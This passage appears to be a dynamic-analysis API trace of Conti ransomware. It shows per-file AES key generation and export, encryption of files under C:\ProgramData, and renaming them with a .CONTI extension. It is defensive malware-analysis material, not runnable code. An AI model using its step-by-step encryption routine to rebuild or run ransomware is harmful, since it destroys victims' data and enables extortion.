	[0103.797] lstrcpyW (in: lpString1=0x6555f58, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml"
	[0103.797] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.CONTI"
	[0103.798] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml.conti")) returned 1
	[0103.803] GetProcessHeap () returned 0x1720000
	[0103.803] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6555f58 | out: hHeap=0x1720000) returned 1
	[0103.803] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0103.803] GetProcessHeap () returned 0x1720000
	[0103.803] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5d18 | out: hHeap=0x1720000) returned 1
	[0103.803] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.803] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d81f8 | out: phKey=0x17d81f8*=0x17c8370) returned 1
	[0103.803] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d81fc, pdwDataLen=0x54bfc14 | out: pbData=0x17d81fc*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.805] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml")) returned 0x20
	[0103.811] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0103.812] GetLastError () returned 0x0
	[0103.812] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=3238) returned 1
	[0103.812] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xca6
	[0103.812] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.812] SetEndOfFile (hFile=0x37c) returned 1
	[0103.813] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.813] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.814] WriteFile (in: hFile=0x37c, lpBuffer=0x17d81fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17d81fc*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.815] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.815] ReadFile (in: hFile=0x37c, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0xca6, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0xca6, lpOverlapped=0x0) returned 1
	[0103.815] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0xca6, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0xcb0) returned 1
	[0103.815] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.815] WriteFile (in: hFile=0x37c, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0xcb0, lpOverlapped=0x0) returned 1
	[0103.815] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.815] WriteFile (in: hFile=0x37c, lpBuffer=0x17d81f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17d81f0*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0103.816] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.816] CloseHandle (hObject=0x37c) returned 1
	[0103.816] GetProcessHeap () returned 0x1720000
	[0103.816] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.816] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml"
	[0103.816] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.CONTI"
	[0103.817] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml.conti")) returned 1
	[0103.817] GetProcessHeap () returned 0x1720000
	[0103.817] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.817] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0103.817] GetProcessHeap () returned 0x1720000
	[0103.817] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e6018 | out: hHeap=0x1720000) returned 1
	[0103.817] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.916] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x17c8270) returned 1
	[0103.916] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x54bfc14 | out: pbData=0x17d2fb4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.918] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml")) returned 0x20
	[0103.918] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0103.918] GetLastError () returned 0x5
	[0103.918] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0103.918] GetProcessHeap () returned 0x1720000
	[0103.918] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d3d8 | out: hHeap=0x1720000) returned 1
	[0103.918] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.919] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c85b0) returned 1
	[0103.919] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x54bfc14 | out: pbData=0x17d2b24*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.920] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png")) returned 0x20
	[0103.921] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0103.923] GetLastError () returned 0x5
	[0103.923] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0103.923] GetProcessHeap () returned 0x1720000
	[0103.923] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cfc8 | out: hHeap=0x1720000) returned 1
	[0103.923] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.933] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d5b08 | out: phKey=0x17d5b08*=0x17c82f0) returned 1
	[0103.933] CryptExportKey (in: hKey=0x17c82f0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5b0c, pdwDataLen=0x54bfc14 | out: pbData=0x17d5b0c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.934] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml")) returned 0x20
	[0103.936] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0103.937] GetLastError () returned 0x5
	[0103.937] CryptDestroyKey (hKey=0x17c82f0) returned 1
	[0103.937] GetProcessHeap () returned 0x1720000
	[0103.937] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173c0e0 | out: hHeap=0x1720000) returned 1
	[0103.937] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.937] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c82b0) returned 1
	[0103.937] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x54bfc14 | out: pbData=0x17d2b24*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.938] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico")) returned 0x20
	[0103.939] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0103.940] GetLastError () returned 0x5
	[0103.940] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0103.940] GetProcessHeap () returned 0x1720000
	[0103.940] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6511400 | out: hHeap=0x1720000) returned 1
	[0103.940] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.940] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c85b0) returned 1
	[0103.940] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x54bfc14 | out: pbData=0x17d2b24*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.941] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico")) returned 0x20
	[0103.942] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0103.942] GetLastError () returned 0x5
	[0103.942] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0103.942] GetProcessHeap () returned 0x1720000
	[0103.942] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510cf8 | out: hHeap=0x1720000) returned 1
	[0103.942] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.942] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c82b0) returned 1
	[0103.942] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x54bfc14 | out: pbData=0x17d2b24*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.943] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico")) returned 0x20
	[0103.943] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0103.943] GetLastError () returned 0x5
	[0103.943] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0103.943] GetProcessHeap () returned 0x1720000
	[0103.943] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65102d0 | out: hHeap=0x1720000) returned 1
	[0103.944] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.944] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x17c82b0) returned 1
	[0103.944] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x54bfc14 | out: pbData=0x17d443c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.945] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml")) returned 0x20
	[0103.945] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0103.945] GetLastError () returned 0x5
	[0103.945] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0103.945] GetProcessHeap () returned 0x1720000
	[0103.945] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510e88 | out: hHeap=0x1720000) returned 1
	[0103.945] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.946] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x17c8370) returned 1
	[0103.946] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x54bfc14 | out: pbData=0x17d4fa4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.947] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico")) returned 0x20
	[0103.947] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0103.947] GetLastError () returned 0x5
	[0103.947] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0103.947] GetProcessHeap () returned 0x1720000
	[0103.947] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510910 | out: hHeap=0x1720000) returned 1
	[0103.947] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.948] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x17c85b0) returned 1
	[0103.948] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x54bfc14 | out: pbData=0x17d443c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.949] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico")) returned 0x20
	[0104.644] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.644] GetLastError () returned 0x5
	[0104.644] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0104.644] GetProcessHeap () returned 0x1720000
	[0104.644] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65111a8 | out: hHeap=0x1720000) returned 1
	[0104.644] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0104.958] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c8570) returned 1
	[0104.958] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x54bfc14 | out: pbData=0x17d2b24*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0104.959] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico")) returned 0x20
	[0104.959] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.959] GetLastError () returned 0x5
	[0104.959] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0104.959] GetProcessHeap () returned 0x1720000
	[0104.959] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cc0c0 | out: hHeap=0x1720000) returned 1
	[0104.959] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0107.270] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d28d8 | out: phKey=0x17d28d8*=0x17c8370) returned 1
	[0107.272] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d28dc, pdwDataLen=0x54bfc14 | out: pbData=0x17d28dc*, pdwDataLen=0x54bfc14*=0x20c) returned 1
